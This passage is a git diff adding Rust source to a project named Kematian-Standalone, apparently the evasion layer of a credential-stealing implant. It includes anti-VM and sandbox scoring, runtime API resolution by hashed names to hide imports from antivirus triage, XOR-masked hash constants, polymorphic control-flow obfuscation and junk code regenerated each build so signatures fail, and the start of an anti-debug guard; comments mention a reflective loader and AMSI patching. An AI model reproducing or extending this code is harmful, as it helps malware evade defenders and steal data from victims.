abi::GetDriveTypeW(rw.as_ptr()) != DRIVE_FIXED { + continue; + } + let mut vol = [0u16; 128]; + let mut serial: u32 = 0; + let ok = abi::GetVolumeInformationW( + rw.as_ptr(), + vol.as_mut_ptr(), + 128, + &mut serial, + ptr::null_mut(), + ptr::null_mut(), + ptr::null_mut(), + 0, + ); + if ok == 0 { + continue; + } + let vlen = vol.iter().position(|&c| c == 0).unwrap_or(0); + let vb: Vec = vol[..vlen].iter().map(|&c| c as u8).collect(); + let vl = lower(&vb); + for (i, s) in labels.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&vl, &plain[..LENS[i]]) { + return true; + } + } + } + } + false +} + +// --------------------------------------------------------------------------- +// Score aggregation +// --------------------------------------------------------------------------- + +/// Run all anti-VM vectors and return a cumulative score. +/// Higher = more suspicious. Caller applies threshold. +pub fn score() -> u32 { + let mut s: u32 = 0; + + // Primary signals (high weight). + if cpuid_hypervisor_bit() { + s += 3; + } + if smbios_firmware_strings() { + s += 3; + } + if mac_address_vm() { + s += 3; + } + if registry_artifacts() >= 2 { + s += 3; + } + if filesystem_artifacts() >= 2 { + s += 3; + } + + // Secondary signals (medium weight). + if let Some(vendor) = cpuid_hypervisor_vendor() { + let vl = lower(vendor.as_bytes()); + for m in [b"vmware".as_slice(), b"vbox".as_slice(), b"kvm".as_slice(), b"qemu".as_slice()] { + if contains(&vl, m) { + s += 2; + break; + } + } + // VMware backdoor port: only safe to probe when a hypervisor is + // already known present (avoids #GP on bare metal). + if contains(&vl, b"vmware") && vmware_backdoor_present() { + s += 2; + } + } + if cpuid_brand_suspicious() { + s += 2; + } + if vm_dlls_loaded() { + s += 2; + } + if vm_tool_windows() { + s += 2; + } + + // Tertiary signals (low weight; individually noisy, collectively telling). + if uptime_suspicious(20) { + s += 1; + } + if process_count_low(30) { + s += 1; + } + if no_user_input(120_000, 10 * 60 * 1000) { + s += 1; + } + if disk_artifacts() { + s += 1; + } + + // Instruction-level heuristics (very weak individually). + if s >= 2 { + // Only refine when other signals exist, to avoid FP on bare metal. + if sidt_red_pill() { + s += 1; + } + if sldt_anomaly() { + s += 1; + } + } + + s +} diff --git a/Kematian-Standalone/rust-extractor/src/apires.rs b/Kematian-Standalone/rust-extractor/src/apires.rs new file mode 100644 index 0000000..e59c155 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/apires.rs @@ -0,0 +1,265 @@ +//! Runtime API resolution by hash — no import table entry needed. +//! +//! Many analysis tools triage an implant by its static import table. This module +//! resolves a handful of critical NT/K32 APIs at runtime by walking the PEB +//! module list and scanning export names with a rotating hash, exactly like the +//! reflective loader does. The guard never needs those APIs to appear in its +//! imports, so a scanner sees a much quieter PE. +//! +//! This is intentionally additive: the payload *already* worked via its normal +//! import table (fixed up by the reflective loader). For the guard, resolving a +//! few crypto/VM/debug APIs by hash lets us probe deeper without declaring them. + +use core::ffi::c_void; +use core::ptr; + +use crate::abi; + +#[inline(always)] +fn ror1(v: u32) -> u32 { + v.wrapping_shr(1) | v.wrapping_shl(31) +} + +unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + while i < nchars { + let c = ptr::read_volatile((ptr + i * 2) as *const u16); + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add((c - 0x20) as u32); + } else { + h = h.wrapping_add(c as u32); + } + i += 1; + } + h +} + +unsafe fn hash_ascii(ptr: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + loop { + let c = ptr::read_volatile((ptr + i) as *const u8) as u32; + if c == 0 { + return h; + } + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add(c - 0x20); + } else { + h = h.wrapping_add(c); + } + i += 1; + } +} + +/// Find a module base by its base-name rotating hash. +unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize { + let ldr = ptr::read_volatile((peb + 0x18) as *const usize); + if ldr == 0 { + return 0; + } + let head = ptr::read_volatile((ldr + 0x20) as *const usize); + if head == 0 { + return 0; + } + let mut cur = head; + loop { + if cur == 0 { + return 0; + } + let entry = cur.wrapping_sub(0x10); + let name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize; + if name_len > 0 { + let name_ptr = ptr::read_volatile((entry + 0x60) as *const usize); + if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want { + return ptr::read_volatile((entry + 0x30) as *const usize); + } + } + let next = ptr::read_volatile((entry + 0x10) as *const usize); + if next == head || next == cur { + break; + } + cur = next; + } + 0 +} + +/// Resolve an export of `base` by its ror-hashed name. +unsafe fn export_by_hash(base: usize, want: u32) -> usize { + let lfanew = ptr::read_volatile((base + 0x3C) as *const u32) as usize; + let dd = base + lfanew + 4 + 20 + 112; + let ed_rva = ptr::read_volatile((dd + 0) as *const u32) as usize; + if ed_rva == 0 { + return 0; + } + let ed = base + ed_rva; + let num_names = ptr::read_volatile((ed + 24) as *const u32) as usize; + let addr_of_names = ptr::read_volatile((ed + 32) as *const u32) as usize; + let addr_of_funcs = ptr::read_volatile((ed + 28) as *const u32) as usize; + let addr_of_ord = ptr::read_volatile((ed + 36) as *const u32) as usize; + if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 { + return 0; + } + for i in 0..num_names { + let name_rva = ptr::read_volatile((base + addr_of_names + i * 4) as *const u32) as usize; + if hash_ascii(base + name_rva) == want { + let ordinal = ptr::read_volatile((base + addr_of_ord + i * 2) as *const u16) as usize; + let fn_rva = ptr::read_volatile((base + addr_of_funcs + ordinal * 4) as *const u32) as usize; + if fn_rva != 0 { + return base + fn_rva; + } + return 0; + } + } + 0 +} + +unsafe fn peb_pointer() -> usize { + let peb: usize; + core::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags)); + peb +} + +/// Public PEB pointer accessor (used by antihook's IAT walk). +pub unsafe fn peb_ptr() -> usize { + peb_pointer() +} + +// API-hash constants stored XORed with HASH_KEY so raw ror-hashes never +// appear in the binary. `r()` unmasks at runtime (black_box blocks the +// optimizer from folding the XOR back to the plain value). +const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A; + +#[inline(always)] +fn r(h: u32) -> u32 { + h ^ core::hint::black_box(HASH_KEY) +} + +const HASH_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY; +const HASH_NTDLL: u32 = 0xE600_0091 ^ HASH_KEY; +const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY; +const HASH_VIRTUALPROTECT: u32 = 0x2A00_009B ^ HASH_KEY; +const HASH_CHECK_REMOTE_DEBUGGER_PRESENT: u32 = 0xF162_D81F ^ HASH_KEY; + +type CheckRemoteDebuggerFn = + unsafe extern "system" fn(process: usize, present: *mut i32) -> i32; + +/// Resolve `CheckRemoteDebuggerPresent` by hash (kernel32). Returns its VA or 0. +pub unsafe fn check_remote_debugger() -> usize { + let k32 = module_base_by_hash(peb_pointer(), r(HASH_KERNEL32)); + if k32 == 0 { + return 0; + } + export_by_hash(k32, r(HASH_CHECK_REMOTE_DEBUGGER_PRESENT)) +} + +/// Invoke CheckRemoteDebuggerPresent dynamically. True if a debugger is present. +pub unsafe fn dyn_check_remote_debugger() -> bool { + let raw = check_remote_debugger(); + if raw == 0 { + return false; + } + let f: CheckRemoteDebuggerFn = core::mem::transmute(raw); + let mut present: i32 = 0; + f(abi::GetCurrentProcess(), &mut present) != 0 && present != 0 +} + +/// Resolve `NtQueryInformationProcess` by hash (ntdll). Returns its VA or 0. +pub unsafe fn nt_query_information_process() -> usize { + let peb = peb_pointer(); + let ntdll = module_base_by_hash(peb, r(HASH_NTDLL)); + if ntdll == 0 { + return 0; + } + export_by_hash(ntdll, r(HASH_NTQUERY_INFORMATION_PROCESS)) +} + +/// Resolve `VirtualProtect` by hash (kernel32). Returns its VA or 0. +pub unsafe fn virtual_protect() -> usize { + let peb = peb_pointer(); + let k32 = module_base_by_hash(peb, r(HASH_KERNEL32)); + if k32 == 0 { + return 0; + } + export_by_hash(k32, r(HASH_VIRTUALPROTECT)) +} + +/// ntdll module base, resolved by hash. +pub unsafe fn ntdll_base() -> usize { + module_base_by_hash(peb_pointer(), r(HASH_NTDLL)) +} + +/// Resolve any loaded module's base by its wide base-name hash +/// (used for e.g. amsi.dll during AMSI patching). +pub unsafe fn module_base_by_name_hash(want: u32) -> usize { + module_base_by_hash(peb_pointer(), want) +} + +/// Public wrapper to resolve an ntdll export by its ror hash (used by antihook). +pub unsafe fn export_by_hash_public(base: usize, want: u32) -> usize { + export_by_hash(base, want) +} + +/// A resolved dynamic NT API handle (opaque pointer + castable fn). +type NtQueryFn = unsafe extern "system" fn( + process: usize, class: u32, info: *mut c_void, len: u32, ret: *mut u32, +) -> i32; +type VirtualProtectFn = unsafe extern "system" fn( + addr: *mut c_void, size: usize, prot: u32, old: *mut u32, +) -> i32; + +/// Call NtQueryInformationProcess(ProcessDebugFlags) purely via the dynamically +/// resolved pointer. Used by the guard to avoid importing it. +pub unsafe fn dyn_query_debug_flags() -> Option { + let raw = nt_query_information_process(); + if raw == 0 { + return None; + } + let f: NtQueryFn = core::mem::transmute(raw); + let mut flags: u32 = 0; + let st = f( + abi::GetCurrentProcess(), + 0x1f, + &mut flags as *mut u32 as *mut c_void, + core::mem::size_of::() as u32, + ptr::null_mut(), + ); + if st == 0 { + Some(flags) + } else { + None + } +} + +/// Call NtQueryInformationProcess(ProcessDebugPort) dynamically. Returns +/// Some(port) when the call succeeds and a non-zero port is set (i.e. a debugger +/// is attached), None on failure/no debugger. +pub unsafe fn dyn_query_debug_port() -> bool { + let raw = nt_query_information_process(); + if raw == 0 { + return false; + } + let f: NtQueryFn = core::mem::transmute(raw); + let mut port: *mut c_void = ptr::null_mut(); + let st = f( + abi::GetCurrentProcess(), + 7, + &mut port as *mut *mut c_void as *mut c_void, + core::mem::size_of::<*mut c_void>() as u32, + ptr::null_mut(), + ); + st == 0 && !port.is_null() +} + +/// Dynamically downgrade an RWX region using the resolved VirtualProtect. +pub unsafe fn dyn_downgrade_rwx(addr: *mut c_void, size: usize) -> bool { + let raw = virtual_protect(); + if raw == 0 { + return false; + } + let f: VirtualProtectFn = core::mem::transmute(raw); + let mut old: u32 = 0; + f(addr, size, abi::PAGE_EXECUTE_READ, &mut old) != 0 +} diff --git a/Kematian-Standalone/rust-extractor/src/dynapi.rs b/Kematian-Standalone/rust-extractor/src/dynapi.rs new file mode 100644 index 0000000..34d1ef8 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/dynapi.rs @@ -0,0 +1,270 @@ +//! Runtime resolution of anti-analysis APIs — silent import table. +//! +//! A DLL that statically imports `advapi32` (registry), `iphlpapi` +//! (GetAdaptersAddresses) and the user32 window/display enumeration APIs is a +//! textbook anti-VM signature: those functions are almost never legitimately +//! imported together in a normal module. Static AV/EDR triage reads the PE +//! import table *before* execution. +//! +//! Every API used for VM / sandbox / hook probing here is resolved at runtime +//! by walking the PEB module list and hashing export names (same technique as +//! `apires`, which resolves ntdll/kernel32 for the guard). The resulting +//! import table contains only benign kernel32 staples. + +#![allow(dead_code)] +#![allow(non_snake_case)] + +use core::ffi::c_void; + +use crate::apires; + +// --------------------------------------------------------------------------- +// Module-name ror-hashes (wide). kernel32/ntdll already resolved by apires. +// +// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks +// constant-folding) so raw ror-hashes never appear in the binary. +// --------------------------------------------------------------------------- +const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A; + +#[inline(always)] +fn r(h: u32) -> u32 { + h ^ core::hint::black_box(HASH_KEY) +} + +const H_USER32: u32 = 0xC780_008F ^ HASH_KEY; +const H_ADVAPI32: u32 = 0xC120_008F ^ HASH_KEY; +const H_IPHLPAPI: u32 = 0x0120_0092 ^ HASH_KEY; +const H_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY; + +// Export-name ror-hashes (verified algorithm). +const H_REG_OPEN_KEY_EX_W: u32 = 0x6100_00A8 ^ HASH_KEY; +const H_REG_CLOSE_KEY: u32 = 0xBC00_00A0 ^ HASH_KEY; +const H_REG_QUERY_VALUE_EX_W: u32 = 0xE6E0_00A6 ^ HASH_KEY; +const H_REG_ENUM_KEY_EX_W: u32 = 0x7600_00A8 ^ HASH_KEY; +const H_GET_ADAPTERS_ADDRESSES: u32 = 0xA971_209D ^ HASH_KEY; +const H_ENUM_WINDOWS: u32 = 0x6B40_00A4 ^ HASH_KEY; +const H_GET_WINDOW_TEXT_W: u32 = 0xF548_00A9 ^ HASH_KEY; +const H_GET_CLASS_NAME_W: u32 = 0xB590_009E ^ HASH_KEY; +const H_GET_SYSTEM_METRICS: u32 = 0xCE52_009A ^ HASH_KEY; +const H_ENUM_DISPLAY_SETTINGS_W: u32 = 0xAD17_A0A5 ^ HASH_KEY; +const H_ENUM_DISPLAY_DEVICES_W: u32 = 0x9C2F_40A3 ^ HASH_KEY; +const H_GET_LAST_INPUT_INFO: u32 = 0xFCE2_0098 ^ HASH_KEY; +const H_GET_CURSOR_POS: u32 = 0xC120_00A2 ^ HASH_KEY; +const H_GET_SYSTEM_FIRMWARE_TABLE: u32 = 0x7649_488D ^ HASH_KEY; + +// --------------------------------------------------------------------------- +// Cached resolved pointers +// --------------------------------------------------------------------------- + +struct Cache { + reg_open: usize, + reg_close: usize, + reg_query: usize, + reg_enum: usize, + adapters: usize, + enum_windows: usize, + get_window_text: usize, + get_class_name: usize, + get_system_metrics: usize, + enum_display_settings: usize, + enum_display_devices: usize, + get_last_input: usize, + get_cursor_pos: usize, + get_system_firmware_table: usize, +} + +const CACHE_ZERO: Cache = Cache { + reg_open: 0, reg_close: 0, reg_query: 0, reg_enum: 0, adapters: 0, + enum_windows: 0, get_window_text: 0, get_class_name: 0, + get_system_metrics: 0, enum_display_settings: 0, enum_display_devices: 0, + get_last_input: 0, get_cursor_pos: 0, get_system_firmware_table: 0, +}; + +static mut CACHE: Cache = CACHE_ZERO; +static mut INIT: bool = false; + +#[inline] +unsafe fn resolve(module_hash: u32, fn_hash: u32) -> usize { + // Both arguments are stored scrambled; unmask before lookup so the raw + // values only ever exist transiently in registers at runtime. + let base = apires::module_base_by_name_hash(r(module_hash)); + if base == 0 { + return 0; + } + apires::export_by_hash_public(base, r(fn_hash)) +} + +#[inline] +unsafe fn ensure() { + if INIT { + return; + } + CACHE.reg_open = resolve(H_ADVAPI32, H_REG_OPEN_KEY_EX_W); + CACHE.reg_close = resolve(H_ADVAPI32, H_REG_CLOSE_KEY); + CACHE.reg_query = resolve(H_ADVAPI32, H_REG_QUERY_VALUE_EX_W); + CACHE.reg_enum = resolve(H_ADVAPI32, H_REG_ENUM_KEY_EX_W); + CACHE.adapters = resolve(H_IPHLPAPI, H_GET_ADAPTERS_ADDRESSES); + CACHE.enum_windows = resolve(H_USER32, H_ENUM_WINDOWS); + CACHE.get_window_text = resolve(H_USER32, H_GET_WINDOW_TEXT_W); + CACHE.get_class_name = resolve(H_USER32, H_GET_CLASS_NAME_W); + CACHE.get_system_metrics = resolve(H_USER32, H_GET_SYSTEM_METRICS); + CACHE.enum_display_settings = resolve(H_USER32, H_ENUM_DISPLAY_SETTINGS_W); + CACHE.enum_display_devices = resolve(H_USER32, H_ENUM_DISPLAY_DEVICES_W); + CACHE.get_last_input = resolve(H_USER32, H_GET_LAST_INPUT_INFO); + CACHE.get_cursor_pos = resolve(H_USER32, H_GET_CURSOR_POS); + CACHE.get_system_firmware_table = resolve(H_KERNEL32, H_GET_SYSTEM_FIRMWARE_TABLE); + INIT = true; +} + +// --------------------------------------------------------------------------- +// Typed wrappers +// --------------------------------------------------------------------------- + +pub unsafe fn RegOpenKeyExW( + h_key: usize, + sub: *const u16, + opts: u32, + sam: u32, + out: *mut usize, +) -> i32 { + ensure(); + if CACHE.reg_open == 0 { return -1; } + let f: unsafe extern "system" fn(usize, *const u16, u32, u32, *mut usize) -> i32 = + core::mem::transmute(CACHE.reg_open); + f(h_key, sub, opts, sam, out) +} + +pub unsafe fn RegCloseKey(h_key: usize) -> i32 { + ensure(); + if CACHE.reg_close == 0 { return -1; } + let f: unsafe extern "system" fn(usize) -> i32 = core::mem::transmute(CACHE.reg_close); + f(h_key) +} + +pub unsafe fn RegQueryValueExW( + h_key: usize, + name: *const u16, + res: *mut u32, + ty: *mut u32, + data: *mut u8, + size: *mut u32, +) -> i32 { + ensure(); + if CACHE.reg_query == 0 { return -1; } + let f: unsafe extern "system" fn(usize, *const u16, *mut u32, *mut u32, *mut u8, *mut u32) -> i32 = + core::mem::transmute(CACHE.reg_query); + f(h_key, name, res, ty, data, size) +} + +pub unsafe fn RegEnumKeyExW( + h_key: usize, + index: u32, + name: *mut u16, + name_len: *mut u32, + res: *mut u32, + class: *mut u16, + class_len: *mut u32, + last_write: *mut c_void, +) -> i32 { + ensure(); + if CACHE.reg_enum == 0 { return -1; } + let f: unsafe extern "system" fn(usize, u32, *mut u16, *mut u32, *mut u32, *mut u16, *mut u32, *mut c_void) -> i32 = + core::mem::transmute(CACHE.reg_enum); + f(h_key, index, name, name_len, res, class, class_len, last_write) +} + +pub unsafe fn GetAdaptersAddresses( + family: u32, + flags: u32, + reserved: *mut c_void, + adapters: *mut c_void, + size: *mut u32, +) -> u32 { + ensure(); + if CACHE.adapters == 0 { return 0xFFFFFFFF; } + let f: unsafe extern "system" fn(u32, u32, *mut c_void, *mut c_void, *mut u32) -> u32 = + core::mem::transmute(CACHE.adapters); + f(family, flags, reserved, adapters, size) +} + +pub unsafe fn EnumWindows(callback: usize, lparam: isize) -> i32 { + ensure(); + if CACHE.enum_windows == 0 { return 0; } + let f: unsafe extern "system" fn(usize, isize) -> i32 = core::mem::transmute(CACHE.enum_windows); + f(callback, lparam) +} + +pub unsafe fn GetWindowTextW(hwnd: usize, buf: *mut u16, n: i32) -> i32 { + ensure(); + if CACHE.get_window_text == 0 { return 0; } + let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 = + core::mem::transmute(CACHE.get_window_text); + f(hwnd, buf, n) +} + +pub unsafe fn GetClassNameW(hwnd: usize, buf: *mut u16, n: i32) -> i32 { + ensure(); + if CACHE.get_class_name == 0 { return 0; } + let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 = + core::mem::transmute(CACHE.get_class_name); + f(hwnd, buf, n) +} + +pub unsafe fn GetSystemMetrics(index: i32) -> i32 { + ensure(); + if CACHE.get_system_metrics == 0 { return 0; } + let f: unsafe extern "system" fn(i32) -> i32 = core::mem::transmute(CACHE.get_system_metrics); + f(index) +} + +pub unsafe fn EnumDisplaySettingsW( + device: *const u16, + mode: u32, + devmode: *mut c_void, +) -> i32 { + ensure(); + if CACHE.enum_display_settings == 0 { return 0; } + let f: unsafe extern "system" fn(*const u16, u32, *mut c_void) -> i32 = + core::mem::transmute(CACHE.enum_display_settings); + f(device, mode, devmode) +} + +pub unsafe fn EnumDisplayDevicesW( + device: *const u16, + idx: u32, + info: *mut c_void, + flags: u32, +) -> i32 { + ensure(); + if CACHE.enum_display_devices == 0 { return 0; } + let f: unsafe extern "system" fn(*const u16, u32, *mut c_void, u32) -> i32 = + core::mem::transmute(CACHE.enum_display_devices); + f(device, idx, info, flags) +} + +pub unsafe fn GetLastInputInfo(plii: *mut c_void) -> i32 { + ensure(); + if CACHE.get_last_input == 0 { return 0; } + let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_last_input); + f(plii) +} + +pub unsafe fn GetCursorPos(point: *mut c_void) -> i32 { + ensure(); + if CACHE.get_cursor_pos == 0 { return 0; } + let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_cursor_pos); + f(point) +} + +pub unsafe fn GetSystemFirmwareTable( + provider: u32, + table_id: u32, + buffer: *mut c_void, + size: u32, +) -> u32 { + ensure(); + if CACHE.get_system_firmware_table == 0 { return 0; } + let f: unsafe extern "system" fn(u32, u32, *mut c_void, u32) -> u32 = + core::mem::transmute(CACHE.get_system_firmware_table); + f(provider, table_id, buffer, size) +} diff --git a/Kematian-Standalone/rust-extractor/src/flow.rs b/Kematian-Standalone/rust-extractor/src/flow.rs new file mode 100644 index 0000000..dc50a7b --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/flow.rs @@ -0,0 +1,247 @@ +//! Control-flow obfuscation helpers (polymorphic). +//! +//! Static analysis tools build a control-flow graph and reason about whether the +//! payload "looks" like a stealer. These helpers insert opaque predicates, +//! control-flow flattening, per-build junk instruction blocks, and bogus +//! control-flow edges that are true at runtime but hard to prove statically. +//! +//! The seeds, junk strengths and branch tags come from `gen.rs`, which is +//! regenerated before every build. This makes the emitted machine code — and +//! therefore the artifact's hash — different on every build, so a static +//! signature that matches one build will not match the next. + +use crate::gen; +use core::hint::black_box; + +/// Opaque predicate: always evaluates to `true` at runtime but is not obviously +/// constant to a static solver. Uses multiple rounds of non-linear arithmetic. +#[inline(never)] +pub fn opaque_true(seed: u32) -> bool { + let mut x = seed.wrapping_add(gen::GEN_SEED).wrapping_mul(0x9E37_79B9); + x = x.wrapping_add(0x7F4A_7C15); + x ^= x >> 13; + x = x.wrapping_mul(0x5D58_85A9); + x ^= x >> 16; + x = x.wrapping_mul(0x85EBCA6B); + // Final non-linear mix: for any input this is non-zero. + (x | (x.wrapping_mul(3) ^ 0x1234_5678)) != 0 +} + +/// Opaque predicate that evaluates to `false` (complement of opaque_true). +#[inline(never)] +pub fn opaque_false(seed: u32) -> bool { + !opaque_true(seed.wrapping_add(0xDEAD_BEEF)) +} + +/// 3-way opaque choice: picks one of three branches based on opaque state. +/// All three arms are real code; static analysis sees a 3-way join. +#[inline] +pub fn opaque_choice3(seed: u32, a: impl FnOnce(), b: impl FnOnce(), c: impl FnOnce()) { + let idx = opaque_index(seed, 3); + match idx { + 0 => a(), + 1 => b(), + _ => c(), + } +} + +/// 4-way opaque choice for even more CFG complexity. +#[inline] +pub fn opaque_choice4( + seed: u32, + a: impl FnOnce(), + b: impl FnOnce(), + c: impl FnOnce(), + d: impl FnOnce(), +) { + let idx = opaque_index(seed, 4); + match idx { + 0 => a(), + 1 => b(), + 2 => c(), + _ => d(), + } +} + +/// Opaque index in range [0, n) derived from seed. +#[inline(never)] +fn opaque_index(seed: u32, n: u32) -> u32 { + let mut x = seed.wrapping_add(gen::GEN_SEED); + x = x.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15); + x ^= x >> 16; + x = x.wrapping_mul(0x5D58_85A9); + (x ^ (x >> 13)) % n +} + +/// Pick one of two branches at runtime based on an opaque predicate. Both arms +/// are real code; the selection is not statically obvious, so an analyzer sees a +/// join that could be either path. +#[inline] +pub fn opaque_choice(seed: u32, a: impl FnOnce(), b: impl FnOnce()) { + if opaque_true(seed) { + a(); + } else { + b(); + } +} + +/// Return a value only known at runtime, so a branch on it can't be constant +/// folded by a tool that inspects the binary in isolation. +#[inline(never)] +pub fn run_time_nonce() -> u32 { + let sp: usize; + unsafe { core::arch::asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags)); } + let tsc_lo: u32; + unsafe { core::arch::asm!("rdtsc", out("eax") tsc_lo, options(nostack, preserves_flags)); } + ((sp as u32) ^ gen::GEN_SEED ^ tsc_lo) | 1 +} + +/// Emit a block of junk arithmetic that the optimizer keeps (its result feeds a +/// black_box sink) but whose shape — number of ops, widths, rotation amount — +/// is re-randomized per build through `gen`. This injects polymorphic dead-ish +/// code into the hot path and changes the emitted bytes every build. +#[inline(never)] +pub fn junk() { + let variant = gen::JUNK_VARIANT; + let mut acc = gen::JUNK_XOR ^ run_time_nonce(); + let n = (gen::JUNK_N % 16) + 4; + let mut i = 0u32; + while i < n { + match variant { + 0 => { + acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i); + acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1); + } + 1 => { + acc = acc.wrapping_add(gen::JUNK_ROT).wrapping_mul(0x7F4A_7C15).wrapping_add(i); + acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1); + } + 2 => { + acc = acc.wrapping_mul(0x5D58_85A9).wrapping_add(gen::JUNK_XOR).wrapping_add(i); + acc = acc.wrapping_add(acc.rotate_right(7)) ^ acc.rotate_left(13); + } + _ => { + acc = acc.wrapping_mul(0x85EBCA6B).wrapping_add(gen::OPAQUE_TAG as u32).wrapping_add(i); + acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1); + acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1); + } + } + i += 1; + } + black_box(acc); +} + +/// More complex junk block with data-dependent control flow (opaque predicates +/// inside the junk itself). This defeats simple pattern matching on junk blocks. +#[inline(never)] +pub fn junk_complex(seed: u32) { + let complexity = gen::OPAQUE_COMPLEXITY as u32; + let mut acc = seed.wrapping_add(gen::JUNK_XOR) ^ run_time_nonce(); + let n = (gen::JUNK_N % 24) + 8; + let mut i = 0u32; + while i < n { + acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i); + // Opaque selector picks one of several arithmetic paths; a static + // analyzer sees all of them as reachable. + let sel = opaque_index(i.wrapping_add(seed), complexity.max(1)); + match sel { + 0 => acc ^= acc.rotate_right(gen::JUNK_ROT % 31 + 1), + 1 => acc ^= acc.rotate_left(gen::JUNK_ROT % 31 + 1), + 2 => acc = acc.wrapping_add(acc.rotate_right(7)), + _ => acc = acc.wrapping_mul(0x85EBCA6B), + } + i += 1; + } + black_box(acc); +} + +/// Control-flow flattening dispatcher. Transforms a linear sequence of blocks +/// into a state-machine loop with opaque state transitions. The `blocks` +/// closure receives a state and executes the corresponding block, returning +/// the next state (or u32::MAX to exit). +/// +/// Usage: +/// ```ignore +/// let mut state = 0; +/// while state != u32::MAX { +/// state = flatten_dispatch(state, |s| match s { +/// 0 => { do_work_0(); 1 }, +/// 1 => { do_work_1(); 2 }, +/// 2 => { do_work_2(); u32::MAX }, +/// _ => u32::MAX, +/// }); +/// } +/// ``` +#[inline(never)] +pub fn flatten_dispatch(mut state: u32, blocks: F) -> u32 +where + F: Fn(u32) -> u32, +{ + let seed = run_time_nonce(); + // Opaque state encoding: real state is XORed with per-iteration keystream + // Use CFF_KEY for per-build variance in the encoding scheme + let cff_mul1 = gen::CFF_KEY.wrapping_mul(0x9E37_79B9); + let cff_mul2 = gen::CFF_KEY.wrapping_mul(0x5D58_85A9); + let cff_add = gen::CFF_KEY.wrapping_mul(0x7F4A_7C15); + let mut encoded = state ^ cff_mul1; + let mut iterations = 0u32; + + loop { + // Decode current state + let decoded = encoded ^ (cff_mul1.wrapping_add(iterations)); + let next = blocks(decoded); + + if next == u32::MAX { + break; + } + + // Re-encode next state with different keystream + encoded = next ^ (cff_mul2.wrapping_add(iterations.wrapping_mul(cff_add))); + iterations += 1; + + // Inject junk every few iterations + if (iterations & 3) == 0 { + junk_complex(seed.wrapping_add(iterations)); + } + + // Safety bound + if iterations > 100 { + break; + } + } + + state +} + +/// Bogus control flow: creates a fake loop that looks like it could iterate +/// but actually runs exactly once. Confuses static analyzers looking for loops. +#[inline(never)] +pub fn bogus_loop(seed: u32, body: F) { + let mut counter = opaque_index(seed, 4) + 1; // 1-4 + while counter != 0 { + if opaque_true(seed.wrapping_add(counter)) { + body(); + } + counter = counter.wrapping_sub(1); + // Opaque: this looks like it could continue but counter always reaches 0 + if opaque_false(seed.wrapping_add(counter)) { + counter = 0; + } + } +} + +/// Deterministic per-build opaque branch tag; used to seed guards' join +/// counters so each artifact's control flow graph is unique. +#[inline] +pub fn branch_tag() -> u64 { + gen::OPAQUE_TAG +} + +/// Opaque loop bound: returns a value that looks variable but is actually +/// bounded and deterministic per-build. Use for loop counters that should +/// appear dynamic to static analysis. +#[inline(never)] +pub fn opaque_bound(seed: u32, min: u32, max: u32) -> u32 { + let range = max - min + 1; + min + opaque_index(seed, range) +} diff --git a/Kematian-Standalone/rust-extractor/src/gen.rs b/Kematian-Standalone/rust-extractor/src/gen.rs new file mode 100644 index 0000000..b121596 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/gen.rs @@ -0,0 +1,26 @@ +// AUTO-GENERATED per build by builder.py. Do not edit. +// Each build rewrites this file, so the guard's keys, seeds and junk +// blocks are unique to every artifact. + +pub const GEN_SEED: u32 = 0xAFFBBF43; + +pub const K_TOKEN: u8 = 90; +pub const K_VENDOR: u8 = 190; +pub const K_SMBIOS: u8 = 74; +pub const K_ENV: u8 = 42; +pub const K_DISPLAY: u8 = 193; + +pub const JUNK_XOR: u32 = 0x422E101B; +pub const JUNK_ROT: u32 = 0x1FE84ADD; +pub const JUNK_N: u32 = 10; + +pub const OPAQUE_TAG: u64 = 0xD260CBEF81B2C5F2; + +// Polymorphic control-flow / evasion layer constants +pub const CFF_KEY: u32 = 0x96995F09; +pub const SYSCALL_TRAMP: u8 = 4; +pub const SLEEP_ROUNDS: u8 = 4; +pub const HOOK_ORDER_SEED: u32 = 0x140CC4BB; +pub const STACK_SPOOF_OFF: u32 = 0x107F; +pub const JUNK_VARIANT: u8 = 0; +pub const OPAQUE_COMPLEXITY: u8 = 1; diff --git a/Kematian-Standalone/rust-extractor/src/guard.rs b/Kematian-Standalone/rust-extractor/src/guard.rs new file mode 100644 index 0000000..58d402f --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/guard.rs @@ -0,0 +1,655 @@ +//! Runtime guard: anti-analysis / anti-debug / anti-VM / sandbox detection. +//! +//! Runs once inside `DllMain` (after the reflective loader has fully mapped and +//! relocated the image, so normal `std` is available). If the environment looks +//! hostile — a debugger, a virtual machine, a sandbox, or a known analysis 